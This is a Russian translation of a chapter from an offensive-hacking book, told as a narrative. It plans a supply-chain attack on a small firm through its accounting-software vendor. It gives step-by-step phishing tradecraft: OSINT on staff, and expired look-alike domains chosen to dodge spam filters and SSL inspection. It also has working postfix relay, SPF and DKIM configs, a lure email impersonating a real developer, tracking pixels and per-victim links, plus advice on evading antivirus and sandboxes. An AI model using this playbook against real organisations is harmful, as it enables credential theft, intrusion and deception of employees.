Мы пробуем поиграться с интерфейсом веб-почты, пытаясь
найти скрытые директории, внедряя специальные символы то тут,
то там - в общем-то, мы пробуем все классические веб-техники, но
кого мы пытаемся обмануть? Если только мы не раскопаем 0-day
для официального Outlook Web App 2016, мы не сможем зайти
внутрь.25

Сканирование ​Nmap в поисках доступных служб по всему


IP-диапазону, принадлежащему G&S Trust, не возвращает
значимых результатов (​
-sV выводит версию службы, ​-p- сканирует
все 65535 портов):

Давайте кое-что вспомним. Мы нацелены на маленькую


компанию, состоящую из примерно 15-25 человек. У них есть одна
веб-почта в интернете, 4 веб-сайта, которые хостятся сторонними
компаниями и 9 выделенных IP-адресов, все из которых
практически не выставляют наружу каких-либо сервисов.

Я уже смог обескуражить вас или мне стоит продолжать?

Когда мы сталкиваемся со столь небольшой целью, что даже


Google с трудом может проиндексировать их веб-сайты, вам всегда
следует сделать паузу на несколько секунд и подумать о картине в

25
Мы могли бы попробовать брутфорс-атаку, но я не большой фанат этого дела, по крайней
мере, без какой-либо гарантии, что это не приведет в действие массовую блокировку учетных
записей.

Перевод
@Ianuaria
skladchik.com
целом. G&S Trust - это не остров, затерянный в большом синем
море, которым является интернет.

У них должно быть множество взаимодействий с различными


вендорами, бизнес-партнерами и подрядчиками, чтобы нормально
функционировать в современном экономическом мире. Всемирная
паутина не просто так носит свое название.

Поэтому да, G&S Trust может быть неуязвимой перед нашими


атаками, поскольку они сделали это своей миссией и
бизнес-моделью, чтобы скрыться от чужих глаз, но что насчет их
бизнес-партнеров? Я не предлагаю хакнуть Microsoft или Apple,
чтобы попасть внутрь этой маленькой компании, неважно, сколь
много миллиардов долларов они схоронили в своих налоговых
убежищах.

Определенно, у них должны быть более “слабые” и менее


защищенные партнеры, к которым мы можем просочиться и
использовать их в качестве трамплина для прыжка во внутреннюю
сеть G&S Trust.

Мы возвращаемся к фазе разведки и собираем воедино все


новости о G&S Trust, которые могут раскрыть бизнес-партнеров или
технологии, которые они используют. Мы ищем информацию по
программному обеспечению для HR, последним слияниям и
поглощениям, бухгалтерскому ПО, бэкграунду старших партнеров и
так далее.26

Компании сами того не желая разглашают значительное


количество информации о своих внутренних механизмах - вероятно,
больше, чем положено.

26
Великолепная компиляция инструментов разведки на основе открытых источников (OSINT):

https://github.com/jivoi/awesome-osint

Перевод
@Ianuaria
skladchik.com
Взять хотя бы описания работы, к примеру. Мы собираем
кладезь полезных данных за счет простого поиска старых вакансий,
оставленных G&S Trust на популярном сайте по подбору кадров
(интересный список:
https://github.com/jivoi/awesome-osint#-job-search-resources​).

Требуемые навыки
● Поддержка десктопов Windows 8.1 и 10 / Surface PRo
● Базовая поддержка смартфонов / планшетов
● Опыт работы с файрволами Cisco и Juniper
● Базовые знания SQL Server 2012
● Поддержка Outlook / Изменение паролей Exchange
● Поддержка аудио / видео (проекторы/микрофоны/звук)
● Поддержка Skype для бизнеса

Из одного этого объявления мы можем выяснить, что G&S


Trust используют компьютеры с Windows 8.1 и 10, работают в
основном с базами данных SQL Server 2012 и владеют файрволами
от Juniper и Cisco. Хотя это и не может помочь нам в том, чтобы
забраться к ним напрямую (если только мы не воспользуемся
какого-либо рода социальной инженерией), данная информация
может предоставить ценные идеи после того, как мы окажемся
внутри их сети.

Из двух профилей бывших сотрудников на LinkedIn, которые


мы смогли отыскать, оба они, по всей видимости, упоминают более
или менее одинаковый набор туманных “навыков”, связанных с
корпоративным финансовым миром:

Перевод
@Ianuaria
skladchik.com
Быстрый поиск в Google раскрывает, что навык “Strat
Accounting” (​прим. переводчика: один из вариантов перевода
“accounting” - “бухгалтерский учет”​), упомянутый на скриншоте
выше, относится по факту к программному продукту, который
принадлежит и поддерживается Strat Jumbo Inc., международной
компанией в сфере разработки ПО.

Strat Jumbo специализируется на разработке финансовых


продуктов, начиная от коннекторов к SWIFT на серверах до
инструментов для рабочих станций, типа Strat Accounting, который
используется финансовыми работниками в G&S Trust.

Чувствуете, чем пахнет?

Это запах крайне заманчивой, но при этом опасной идеи,


которая начинает приобретать свои формы где-то в темных недрах
нашего разума.

Поскольку G&S Trust так тщательно заперты - по крайней


мере, со стороны внешнего мира - как насчет того, чтобы
нацелиться на более крупную рыбу, Strat Jumbo, это бизнес, до
которого нам нет никакого дела, но который может предоставить
нам свободный доступ в сеть G&S Trust?

Я сомневаюсь, что Strat Jumbo напрямую подключены ко


внутренней сети G&S Trust. Они являются компанией по разработке
программного обеспечения, а не стратегическим бизнес-партнером.

Перевод
@Ianuaria
skladchik.com
Наиболее вероятным сценарием, который мы только можем
представить, будет внедрение в корпоративную сеть Strat Jumbo,
установление местонахождения репозитория кода Strat Accounting,
а затем закладка бэкдора, который будет приведен в действие в
следующий раз, когда G&S Trust обновит свое бухгалтерское
программное обеспечение на рабочих станциях.

Чтобы применить эту стратегию, разумеется, нам нужно будет


тщательно спроектировать этот бэкдор, чтобы удостовериться, что
он не заразит половину планеты и не станет причиной настоящего
хаоса, но это хорошо себя зарекомендовавшая практика, которая
доказала свою эффективность на протяжении последних десяти
лет.27

Некоторым из вас, однако, теперь должно быть любопытно,


чем эта техника отличается от фишинга, который в большинстве
случаев стремится добиться того же результата: запуск пейлоадов
типа обратных оболочек на значительном количестве рабочих
станций.

Всего одно слово: доверие.

Вместо доставки пейлоада в электронном письме, которое


проходит через тридцать шесть хопов безопасности перед тем, как
оказаться на рабочей станции пользователя, наш пейлоад будет
доставляться от доверенного и верифицируемого представителя:
Strat Jumbo.

Если антивирус помечает наше вложение к электронному


письму, то как правило, начинается расследование, вызываются
аналитики безопасности, и порой проблема разрастается до такой
степени, что попадает на уровень начальника службы
информационной безопасности (CISO).

27
​http://blog.talosintelligence.com/2017/07/the-medoc-connection.html

Перевод
@Ianuaria
skladchik.com
С другой стороны, если антивирус помечает бухгалтерское
программное обеспечение, которое использовалось последние лет
десять, это вызывает всего один звонок в отдел
IT-администраторов, и антивирус либо будет отключен, либо данное
ПО будет добавлено в список исключений. Как вам такое
привилегированное отношение?..

Подача крученого мяча 

Теперь, когда у нас есть теоретический сценарий в уме, мы


можем выполнить все те же действия еще раз, то есть, насобирать
как можно больше информации по Strat Jumbo, используя Google,
Github, LinkedIn, Twitter, Shodan - всё по классике.28

Strat Jumbo Inc. - это компания, базирующаяся в Лондоне, с


порядка 800 сотрудниками (по большей части,
бэкенд-программисты), которые рассыпаны по десятку стран. Это
компания с достаточным количеством потенциальных целей, чтобы
обеспечить нам значительный ROI в случае, если мы решим
провести фишинговую кампанию.

Мы можем уже представить аппетитные темы для подобной


толпы: новый плагин для фреймворка, корпоративный опрос:
NodeJS или Java, бета-доступ к новой IDE и тому подобное.

Однако, перед наброском чернового варианта фишингового


письма, давайте быстро взглянем на их активы, светящие в
интернет. Идея не в том, чтобы искать уязвимости - хотя мы не
будем воздерживаться от экспериментов с некоторыми
параметрами по ходу дела.

28
А я уже упоминал про ​https://github.com/jivoi/awesome-osint​
? Да? Ну что ж, настолько хорош
этот список!

Перевод
@Ianuaria
skladchik.com
Реальная цель подобной операции - просто посмотреть, как
выглядят их сайты, какие имена доменов они обычно используют,
расцветку шрифтов и так далее.

Мы даже обмениваемся парой писем с отделом продаж,


который легко доступен через их публичную форму обратной связи,
чтобы получить шаблон их электронных писем (формат писем
сотрудников, подписи, используемые цвета и т.д.):

Привет,

Я заметила, что вы зарегистрировались через …, но еще не заполнили


данные по вашей компании.

Я пишу вам с целью узнать, все ли в порядке, и убедиться, что вы получили


ответы на все свои вопросы, а также что вы не испытываете никаких
проблем.

C уважением,
Marjory Shindler,
Менеджер по работе с клиентами

Не могу не подчеркнуть значимость подобных мелких деталей.


Они помогают обрисовать заслуживающий доверия макет, детали
которого заметны только для подсознательной части разума
жертвы. Сможешь усмирить этого дикого зверя, и он
незамедлительно остановит возникающие подозрения в лобной
доле мозга.

Перевод
@Ianuaria
skladchik.com
В результате жертва “естественным” образом принуждается к
нажатию по ссылке и загрузке вложения, поскольку письмо кажется
знакомым на глубинном уровне. Оно совпадает по цвету, форме и
содержимому с бессознательными ожиданиями жертвы.

Чтобы выявить домены Strat Jumbo, мы применяем такой же


подход, что и ранее, используя комбинацию из ​Censys и ​DNSRecon29
(опция “​-t​” обозначает брутфорс-атаку, в то время как “​-d​”
указывает на словарь для использования):

Уф, глоток свежего воздуха! Вот теперь другое дело. В


отличие от G&S Trust, у Strat Jumbo неплохое количество
интернет-приложений. Мы находим широкий диапазон сервисов, от
доступа к Citrix для удаленных разработчиков до нишевых сайтов,
предназначенных для корпоративных мероприятий.30

29
​https://github.com/darkoperator/dnsrecon

30
​https://findsubdomains.com/ - еще один интересный сайт для поиска поддоменов. За совет
спасибо @5ub34x.

Перевод
@Ianuaria
skladchik.com
Webscreenshot31 - это заслуживающий внимания инструмент
для краулинга большого количества сайтов и снятия скриншотов
главных страниц для быстрого ручного осмотра32:

Блог. Получай ценные советы по теме разработки на C# и .NET

На данном этапе обычный участник Red Team или пентестер


сразу же переходит к набору заманчивого фишингового письма, в
котором будет все предусмотрено: временные рамки, интрига,
правдоподобный предлог, правильные ключевые слова,

31
​https://github.com/maaaaz/webscreenshot

32
Вы можете также воспользоваться хедлесс-фичами Chrome и Firefox:

https://github.com/GoogleChrome/puppeteer/

Перевод
@Ianuaria
skladchik.com
подходящий шаблон письма - но перед тем, как перейти к этой
задаче, я бы хотел выделить несколько строчек и подчеркнуть пару
ключевых моментов касаемо обороны противника, которую мы
собираемся преодолеть.

Причина, по которой я бы хотел ненадолго остановиться на


этом этапе, заключается в том, что большинство фишинговых
кампаний, которые я встречал, были столь плохо оформлены, что
они едва достигали даже папки со спамом.

Большая часть из них сдувались, получая отказ от


корпоративного почтового сервера. Конечно, чисто в теории, нам
нужно лишь одурачить одного пользователя, чтобы попасть
вовнутрь, но зачем поднимать тревогу так часто и испытывать столь
низкие шансы, если незначительные улучшения могут серьезно
увеличить успех кампании?

Давайте рассмотрим технические проблемы, с которыми мы


сталкиваемся при отправке фишинговых писем:

Спам-фильтры 

Несмотря на то, что алгоритмы почтовых серверов таких


гигантов, как Gmail или Exchange, по большей части неизвестны,
было проведено множество исследований, сфокусированных на
средствах для надежной идентификации и блокировки
33
спам-содержимого.

Одной из таких критически важных вещей, к примеру, является


репутация домена отправителя. Первая из ошибок, которую
допускают большинство членов Red Team, хакеров и пентестеров,
это регистрация нового домена за неделю или две до старта
фишинговой кампании, поскольку они предполагают, что это

33

https://www.cloudmark.com/en/s/resources/whitepapers/reputation-based-approach-for-efficient-filtrati
on-of-spam

Перевод
@Ianuaria
skladchik.com
обеспечит им “незапятнанную репутацию”. Это крайне далеко от
того, чтобы быть правдой.

У подобного нового домена не будет истории, обратных


ссылок и ранга - иными словами, у него нулевая репутация.

При получении электронных писем с такого девственного


домена, спам-фильтры автоматически будут давать ему дерьмовую
оценку, классифицировать их как потенциально нежелательную
почту и будут либо отправлять их в папку “Спам”, либо применять
серьезные меры безопасности, в результате которых будут
отключены изображения и ссылки (такое часто происходит с
Microsoft Exchange Server).

По этой причине столь важно правильно настраивать домен,


который мы будем использовать для отправки писем, чтобы
избежать некоторых типовых ловушек, которые в буквальном
смысле могут испортить нашу фишинговую кампанию (более
подробно далее в книге).

Песочницы для электронной почты 

Все больше компаний размещают песочницы на своих


почтовых шлюзах.

Эти компоненты34 запускают вложение в виртуальном


окружении и отслеживают все его действия, чтобы оценить уровень
угрозы: какие ключи реестра оно создает? Сколько запросов памяти
оно совершает? С какими доменами обменивается данными? Какие
файлы создает? И так далее.

Есть много надежных техник обфускации малвари, от


архивации пейлоада с паролем до реализации проверок для

34
Пример онлайн-песочницы для тестирования пейлоадов: ​
https://www.hybrid-analysis.com/

Перевод
@Ianuaria
skladchik.com
обнаружения виртуального окружения и симуляции безопасного
поведения. Но знаете, что работает лучше всего?

Не надо добавлять пейлоад в качестве вложения.

Они не смогут просканировать то, чего нет, верно?

Гораздо более безопасная альтернатива - включить ссылку


для скачивания в тело электронного письма. Как только
пользователи нажимают по этой ссылке, начинается загрузка
малвари по HTTP(s). Нужно ли нам опасаться какого-либо
окружения-песочницы в этом случае?

Возможно, да, но я не слишком часто с этим сталкивался.

Стоит понимать, что отправка вложения в окружение


песочницы занимает время, как минимум две или три минуты при
использовании наиболее эффективных средств, и это без учета
потенциальных задержек из-за ошибок соединения (например,
малварь не может связаться с C2-сервером через интернет) или
преднамеренных попыток преодолеть таймаут песочницы
(например, песочница может прекратить попытку проверки файла
после 20 минут после его исполнения в случае, если не
наблюдается ничего подозрительного).

Большинство сотрудников вытерпят задержку в пару минут


при получении/отправке писем. В конце концов, это не чат. Но
подобное редко справедливо для HTTP, когда пользователи
пристально следят за полосой загрузки и собираются
прочитать/запустить свои файлы незамедлительно.

Те немногие компании, которые автоматически отправляют в


песочницу файлы, скачанные по HTTP(s), регулярно сталкиваются с
проблемой дешифрования SSL на лету.

Перевод
@Ianuaria
skladchik.com
В зависимости от законодательства, распространяющегося на
работу компании35, она не может дешифровать весь
коммуникационный поток, инициируемый ее сотрудниками.
Определенные веб-сайты (банкинг, здравоохранение, страхование
и т.д.) обычно не подвергаются перехвату SSL, чтобы защитить
право человека на приватность.

Один из способов для нас использовать этот момент в свою


пользу - обеспечить, чтобы наш домен, который будет хостить
малварь, был классифицирован как важный ресурс (опять же,
подробнее об этом позже, когда мы будем обсуждать регистрацию
доменов).

Мы возвращаемся к тому, с чего начали: необходимо


тщательно подобрать и настроить наши домены!

Антивирус 

Наконец, антивирус на рабочей станции сканирует вложение,


скачанное в папку пользователя: загрузки/временная папка, но нас
этим вряд ли можно удивить. Нам в любом случае придется иметь
дело с антивирусом на определенном этапе.

Один из надежных способов противодействия всем


антивирусным решениям - сгенерировать наш собственный
кастомный stager, не копируя вслепую готовый к использованию код
из существующих публичных ресурсов.

Stager - это небольшой фрагмент кода, который загружает


полную малварь и в идеале запускает ее в памяти. Поскольку

35
Касается большей части Европы, где сильное значение приватности защищено законами.
Ситуация может отличаться в США, Великобритании, Китае и др. странах, где разрешена
слежка.

Перевод
@Ianuaria
skladchik.com
антивирусное программное обеспечение не проверяет память36, мы
можем внедрить практически все, что угодно, включая ​Meterpreter​,
обратную оболочку ​Empire и так далее. Поможет ли это нам
избежать инструментов нового поколения? Мы выясним это уже
очень скоро!

Но вот еще одно признание: когда это возможно, я стараюсь


избегать и ссылок на скачивание.

Люди с большей охотой вводят свои учетные данные для


посещения корпоративной страницы (1 действие), чем скачивают
файл, открывают его и принимают предупреждение безопасности,
которое обычно всплывает после открытия (3 действия).

Более того, мне кажется, что использование ссылки/вложений


- это грубо и слишком сильно привлекает внимание! Подумайте об
этом, скорее всего вы получите ситуацию, в которой сотня машин
будут пинговать один и тот же C2-хост на протяжении как минимум
24-48 часов, если не больше.

Любой хороший аналитик сразу же заметит подобный трафик.


Некоторые могут даже применять автоматические правила
корреляции, чтобы обнаруживать подобное определенное
поведение. Кроме того, работа stager на рабочей станции весьма
нестабильна.

В попытке доставить его прямиком в адрес пользователя


хакер теряет возможности контроля; пользователи могут выключить
рабочую станцию, потерять Wi-Fi в лифте, переключить компьютер
в режим сна и так далее.

36
Забавно, что однажды я общался с инженерами из ведущей антивирусной компании по
поводу именно этой проблемы: исполнение в памяти. Я обратил внимание, что их последнее
обновление по-прежнему не решало подобную проблему. В ответ я получил злые взгляды и
агрессивное “но ведь никто так не действует!”. Это заблуждение - и в любом случае, вам
следует действовать именно так.

Перевод
@Ianuaria
skladchik.com
Достижение надежной устойчивости требует быстрых
действий (они должны быть либо встроены в stager, либо
выполнены позже), таких как: изменение ключей реестра, установка
служб, настройка WMI-событий37… короче говоря, слишком много
шумных действий для первого погружения в незнакомую, чужую
среду.

Иногда, конечно, сброс пейлоада - это единственный способ


проникнуть внутрь, и поэтому требуется уделять огромное
внимание тому, какую технику закрепления использовать, но если
мы обратимся к результатам разведки, проведенной ранее, то
получим жизнеспособную альтернативу, в которой будет
применяться более нелинейный подход, и которая предоставит нам
полную независимость на целевых машинах: веб-сайт Экстранет.

Сервис экстранета Strat Jumbo, который расположен по


адресу ​stratextranet.stratjumbo.com позволяет разработчикам
соединяться со внутренними машинами, деплоить код и
просматривать изменения буквально из любой точки мира. Это
одна из их возможностей для молодых программистов-кочевников:

37
Мы использовали эту технику в книге “Занимайся хакингом с ловкостью Бога”, но если вам
нужны подробности, вот ссылка для ознакомления:

https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instru
mentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf

Перевод
@Ianuaria
skladchik.com
Как видим, нам нужна лишь валидная пара учетных данных
(имя пользователя/пароль), чтобы попасть внутрь. Фишинг и пароли
- это пара, созданная друг для друга!

Подведем итог по нашему полному сценарию взлома - без


учета серьезных неожиданностей:

● Собрать учетные данные Strat Jumbo посредством фишинга.


● Подключиться к сайту экстранета и получить контроль над
первой машиной.
● Совершить прыжок во внутреннюю сеть и установить
местонахождение исходного кода Strat Accounting.
● Добавить бэкдор, который будет приходить в действие только
на рабочих станциях G&S Trust.
● Терпеливо ожидать связи от обратной оболочки.
● Проникнуть в сеть, установить местонахождение критичных
данных, а затем извлечь их.

Теперь, когда у нас есть полностью рабочий, хотя и


теоретический, сценарий, давайте приступим к его реализации.
Забудьте об ​msfvenom​, ​Veil-evasion38 и других традиционных
инструментах для создания малвари. Вместо них мы
сфокусируемся на создании качественной формы для граббинга
учетных данных и фишинговой платформе, которая сумеет обойти
большинство современных спам-фильтров.

Заточка крючка 

Если мы не можем зарегистрировать новый домен из


опасения, что он будет помечен спам-фильтрами как
подозрительный, как же нам получить домен? Решение довольно
простое; мы приобретаем старый домен на
https://expireddomains.net​, выбираем, к примеру, тот, что был
зарегистрирован несколько лет назад, но недавно истек.

38
https://github.com/Veil-Framework/Veil-Evasion

Перевод
@Ianuaria
skladchik.com
Здесь нужно найти тонкую грань. Нам нужен веб-сайт с
хорошей е-репутацией и историей, но в то же время, он должен
иметь определенное отношение к Strat Jumbo, на случай если люди
слишком внимательно присматриваются к исходному адресу
электронной почты:

Stratjumbo.co.au - определенно хороший кандидат, но у него


полностью отсутствуют обратные ссылки, поэтому мы будем
использовать его для хостинга фейкового корпоративного веб-сайта
с фишинговой страницей.

Stratjumbotech.com​, напротив, подходит хорошо; у него есть


десяток обратных ссылок (6 с различных доменов), имя выглядит
как легитимный побочный сайт, существует с 2011 года, не занесен
в черные списки большинством популярных списков, проверка по:
https://mxtoolbox.com/domain/
https://www.ultratools.com/tools/spamDBLookupResult

Если мы соберемся доставлять малварь по HTTPs, то нам


нужно взять в расчет еще одну вещь: категорию домена.

Перевод
@Ianuaria
skladchik.com
Таким образом, даже если перехват SSL активен, мы сможем
попытаться обойти его, выбрав домен, принадлежащий важной
категории, которая обычно освобождена - в большинстве стран, по
закону - от перехвата (банкинг, медицинская сфера и т.д.).

Категория домена - это отнюдь не стандартная концепция, она


сильно зависит от веб-прокси, используемого в компании. Как бы то
ни было, за счет выбора доменов с очевидными ключевыми
словами и большим количеством обратных ссылок достичь
консенсуса проще:

Survivinghealthy.com​, истекший домен, классифицируется


как веб-сайт из сферы здравоохранения в базах данных как McAfee
(​https://www.trustedsource.org/​), так и Symantec/Bluecoat
(​http://sitereview.bluecoat.com/#/​), что улучшает наши шансы на
обход перехвата SSL. Опять же, это не беспроигрышный метод, но
он очень сильно повышает шансы в наши пользу.39

Возвращаемся к исходным двум доменам


stratjumbotech.com (для доставки электронной почты) и
stratjumbo.co.au (для хостинга фейкового веб-сайта). Из всех
продавцов, перечисленных на ​expireddomains.net​, только
Namecheap принимает платежи в биткоинах, так что вопрос
решается достаточно быстро.40

39
Любопытный скрипт для автоматизации проверок категорий через несколько прокси:

https://github.com/mdsecactivebreach/Chameleon

40
Конечно, когда продавцы виртуальных карт порешают свои проблемы, мы вновь получим
роскошь выбора, если захотим работать с другим регистратором.

Перевод
@Ianuaria
skladchik.com
В панели Namecheap мы настраиваем, чтобы эти два домена
вели на один публичный IP-адрес, который будет использоваться в
качестве фишингового публичного ретранслятора:

Мы достаточно хорошо позаботились о репутации домена. О


чем еще следует подумать?

Репутация электронной почты оценивается по двум


компонентам: заголовкам и телу писем. Заголовки содержат
метаданные, описывающие адреса почты отправителя и
получателя, промежуточные узлы, подпись письма и тому подобное.
Тело содержит сообщение.

Хорошим началом будет протестировать наш шаблон письма


по правилам SpamAssassin41, это популярный опенсорсный проект
от Apache Foundation, который был - как и большинство
опенсорсных проектов - скопирован многими коммерческими
спам-фильтрами, а следовательно, будет являться отличным
подспорьем.

41
​http://spamassassin.apache.org/old/tests_3_2_x.html

Перевод
@Ianuaria
skladchik.com
Protonmail (сервис электронной почты) использует
SpamAssassin в комбинации с коммерческими черными списками
для отлова спама. Замечательным фактом является то, что
SpamAssassin добавляет заголовки в электронное письмо, уточняя,
какие проверки и тесты он применил, а также глобальную оценку,
выданную письму.

Проверив эти заголовки в Protonmail, мы можем качественно


настроить наше фишинговое письмо, основываясь на реальных
корпоративных политиках работы со спамом. Взять, к примеру, вот
это спам-письмо со средней оценкой 23.7:

Здесь множество акронимов. Давайте углубимся и разберемся


с парой основных тестов и правил, применяемых к
email-заголовкам, которые характерны для SpamAssassin, но чьи
принципы распространяются и на другие спам-фильтры.

● SPF=none указывает на отсутствие инфраструктуры


политики отправителя (SPF). SPF - это DNS-запись,
описывающая, какие сервера авторизованы на отправку
писем от имени заданного доменного имени. По этой
причине нам нужно настроить TXT-запись DNS в
Namecheap, которая будет явно авторизовывать наш
фишинговый публичный узел на отправку писем от
имени ​
stratjumbotech.com​.
● DKIM=none указывает на отсутствие подписи, которая бы
гарантировала целостность письма. Следовательно, нам
нужно сгенерировать и сохранить открытый ключ в
TXT-записи DNS в Namecheap, а также настроить наш

Перевод
@Ianuaria
skladchik.com
email-сервер на автоматическое подписывание всех
исходящих писем.
● HEADER_FROM_DIFFERENT_DOMAINS​. В электронном письме
есть два различных поля “​from​”. Поле “​SMTP FROM​” и
поле “​FROM​”, оба которых должны указывать на
одинаковое доменное имя. Обычно это не является
проблемой, если только мы не используем email-сервис
типа MailChimp или Amazon SES.
● RCVD_IN_IVMSIP​указывает на то, что IP-адрес занесен в
черный список коммерческими спам-листами.

Это наиболее значимые проверки, относящиеся к


email-заголовкам, с которыми нам нужно разобраться перед
запуском фишинговой кампании.

**Примечание** 

Если вы решите использовать платформу для отправки


электронных писем типа MailChimp или Amazon SES, то получите
простой указательный интерфейс для настройки всех параметров,
которые мы упомянули, но тогда вы потеряете всё веселье.

**** 

Мы устанавливаем email-сервер ​ postfix на публичном


ретрансляторе и на фишинговом бэкенде:

Процесс установки достаточно интуитивен, но если есть


сомнения, всегда можно обратиться к одному из множества

Перевод
@Ianuaria
skladchik.com
доступных в интернете руководств
(​https://help.ubuntu.com/community/Postfix/SPF​).

Все письма будут отправляться с нашего фишингового


сервера, но важно будет, чтобы они проходили через сервер
postfix на фишинговом ретрансляторе, чтобы скрыть наш первый
IP-адрес, что согласуется с нашей концепцией отказоустойчивости.

Если Strat Jumbo заблокирует IP-адрес нашего публичного


ретранслятора, нам нужно будет лишь направить свой трафик через
другой ​postfix​-ретранслятор, и все будет в порядке.

Нам нужно поднастроить пару вещей на email-сервере


postfix​, установленном на сервере-ретрансляторе (файл
/etc/postfix/main.cf​):

● Шифрование: проинструктировать ​ postfix на установление


TLS-соединений с email-серверами получателя, когда это
возможно. (к примеру, Gmail помечает письма, которые не
используют шифрование).
● Установить ​hostname​на ​stratjumbotech.com​.
● Разрешить фишинговому серверу использовать этот инстанс
postfix​в качестве ретранслятора.

# Публичный фишинговый ретранслятор или редиректор 

myhostname = stratjumbotech.com
mynetworks = <Outgoing_IP_Phishing_Server> 127.0.0.0/8
inet_interfaces = all
smtp_enforce_tls=yes
smtp_tls_security_level=encrypt

Соответствующим образом, на фишинговом бэкенд ​postfix​


-е,
мы оформляем наш публичный редиректор как email-сервер
ретрансляции, а также принудительно включаем шифрование:

Перевод
@Ianuaria
skladchik.com
# Фишинговый сервер 

relayhost = 52.16.162.47
smtp_enforce_tls=yes
smtp_tls_security_level=encrypt

Можем отправить короткое тестовое письмо себе во


входящие, чтобы убедиться, что сервис настроен правильно. В
заголовках письма должен отображаться только IP-адрес
ретранслятора.42

Настройка SPF неожиданно прямолинейна. Нам нужно лишь


добавить новую TXT-запись DNS в Namecheap, которая разрешит
нашему публичному ретранслятору (​ip4:52.16.162.47​) отправлять
письма от имени домена ​@stratjumbotech.com​. Все другие
отправители должны провалить SPF-тест (​
-all​).

v=spf1 ip4:52.16.162.47 -all

Настройка DKIM, напротив, требует немного большего.

42
Если вы захотите удалить и внутренний IP-адрес, выполните инструкции из этого простого
руководства. Это не имеет особого значения, поскольку в любом случае мы используем
редиректор, но возможно, вам это пригодится для другого сценария:

https://major.io/2013/04/14/remove-sensitive-information-from-email-headers-with-postfix/

Перевод
@Ianuaria
skladchik.com
На фишинговом сервере мы устанавливаем ​OpenDKIM​,
опенсорсную реализацию DKIM, которая будет выполнять роль
определенного фильтра на фишинговом сервере. Она будет
перехватывать все исходящие письма ​postfix​, подписывать тело,
затем направлять их по адресу назначения:

Мы заменяем содержимое файла конфигурации


/etc/opendkim.conf на следующие строки, которые уточняют
доменное имя для подписания и местонахождение закрытого ключа
(который мы скоро создадим):

# На фишинговом сервере (​/etc/opendkim.conf​


Domain stratjumbotech.com
KeyFile /etc/opendkim/mail.private
Selector mail

Далее мы настраиваем порт, на котором OpenDKIM будет


перехватывать исходящие письма с целью их подписания, делаем
это путем обновления файла ​/etc/default/opendkim

# На фишинговом сервере (​/etc/default/opendkim​



 
# Не забудьте закомментировать файл локального сокета 
# ​SOCKET="local:/var/run/opendkim/opendkim.sock"

SOCKET="inet:12301@localhost"

Затем мы инструктируем ​postfix ретранслировать все


исходящие письма демону DKIM путем указания номера порта
сокета, используемого ​ OpenDKIM (12301 для нашего файла
конфигурации), в ​
/etc/postfix/main.cf​:

# На фишинговом сервере (​ ) 
/etc/postfix/main.cf​

Перевод
@Ianuaria
skladchik.com
milter_protocol = 2
milter_default_action = accept
smtpd_milters = inet:localhost:12301
non_smtpd_milters = inet:localhost:12301

Наконец, мы идем в директорию ​/etc/opendkim/keys​, в


которой мы сгенерируем и сохраним закрытый ключ домена:

Эти команды создадут пару открытого (​mail.txt​) и закрытого


(​mail.private​) ключей, доступ к которым мы разрешаем только для
пользователя ​OpenDKIM​.

Открытый ключ (​mail.txt​) публикуется в TXT-записи DNS,


которую мы настраиваем через Namecheap.

После этой настройки мы перезапускаем ​OpenDKIM​и ​Postfix​:

Можем проверить финальную конфигурацию нашего


email-сервера, отправив тестовое письмо практически на любой
почтовый сервис (Gmail, Protonmail, Yahoo, Yandex и проч.) и
просмотрев email-заголовки43:

43
Очень полезный инструмент для проверки конфигурации SPF и DKIM:

https://www.mail-tester.com/spf-dkim-check

Перевод
@Ianuaria
skladchik.com
Отлично! Как показывает SpamAssassin, наша низкая оценка
указывает на то, что наш email-сервер достаточно хорошо настроен,
чтобы запустить чистую фишинговую кампанию!44

Теперь перейдем к непосредственному содержимому письма.


Поскольку мы в основном нацеливаемся на программистов, нужно
выбрать тему, которой они потенциально увлечены. Что-то, что
привлечет их внимание, потому что они почувствуют
кратковременную эмоциональную вовлеченность в эту тему, но
полностью позабудут об этом, как только закроют веб-сайт.

Как насчет нового плагина, разработанного командой из


Австралии (учитывая, что мы будем хостить фейковый веб-сайт на
домене ​co.au​, который имеет сходство с ​com.au​), который будет
доступен для других офисов компании в качестве некоей
бета-версии.

Нам не обязательно слишком сильно углубляться в детали,


просто попросим оставить их отзыв. Мы берем имя реального
разработчика с LinkedIn для распространения вредоносной паутины
обмана:

-- 
Hello, 
 
As  some  of  you probably know, our teams in Australia have been working on 
an exciting new plugin for our favorite IDE. 
 

44
Мы могли бы при желании настроить ADSP и DMARC, что подкрепило бы DKIM-подпись и
оповещало бы нас, когда кто-либо подделывает адрес почты, относящийся к нашему домену
(например, когда проверка SPF терпит неудачу), но это не слишком сильно сказывается на
оценке электронного письма.

Перевод
@Ianuaria
skladchik.com
Today  we  would  like  to  share  a  beta  version  of  this plugin with your offices, 
so feel free to give it a spin and give us your feedback: ​ Hero plugin 
 
Kind regards, 
Michael Han 
Senior programmer 
T​​+61​​02 9912 3981 

 
-- 
 
-- 
Привет, 
 
Наверное,  вы  уже  слышали  о  том,  что  наша  команда  из  Австралии 
работает над потрясающим новым плагином для нашей любимой IDE. 
 
Сегодня  мы  бы  хотели  представить  бета-версию  этого  плагина  для 
вашего  офиса,  так  что  не  стесняйтесь  опробовать  его  в  деле  и 
оставляйте нам свои отзывы: ​Плагин "Герой" 
 
С уважением, 
Майкл Хань 
Старший программист 
T​​+61​​02 9912 3981 

 
-- 

Как видите, текст по существу, не слишком прерывистый, не


содержит скрытых ссылок и текста в верхнем регистре, чтобы
побудить пользователей нажать по ссылке.

Все подобные признаки усиленно помечаются любым


качественным спам-фильтром, в любом случае. Напротив, данное
письмо будничным тоном приглашает программистов нажать по
ссылке и скачать плагин, используя простой и последовательный
язык.

Перевод
@Ianuaria
skladchik.com
Код для картинки в подписи выполняет б​о​льшую роль, чем
простое отображение логотипа компании и убеждение
пользователей в подлинности источника письма. Он также
позволяет нам отслеживать, как много людей открыло сообщение,
поскольку каждый пользователь, просматривающий сообщение,
будет подгружать изображение с нашего фишингового сервера
(через публичный ретранслятор).

HTML-код для вставки изображения прост:

<img src="https://www.stratjumbo.co.au/static/img/logo_img.png"
alt="strat jumbo logo" />

Ссылка на плагин, включенная в письмо, содержит


уникальный тег для каждого отдельного письма, чтобы отслеживать
жертв после того, как они будут перенаправлены на нашу
фишинговую страницу:

https://www.stratjumbo.co.au/plugin-corporate-offer/?utm_term=FAgUHRNXNj06FjtM

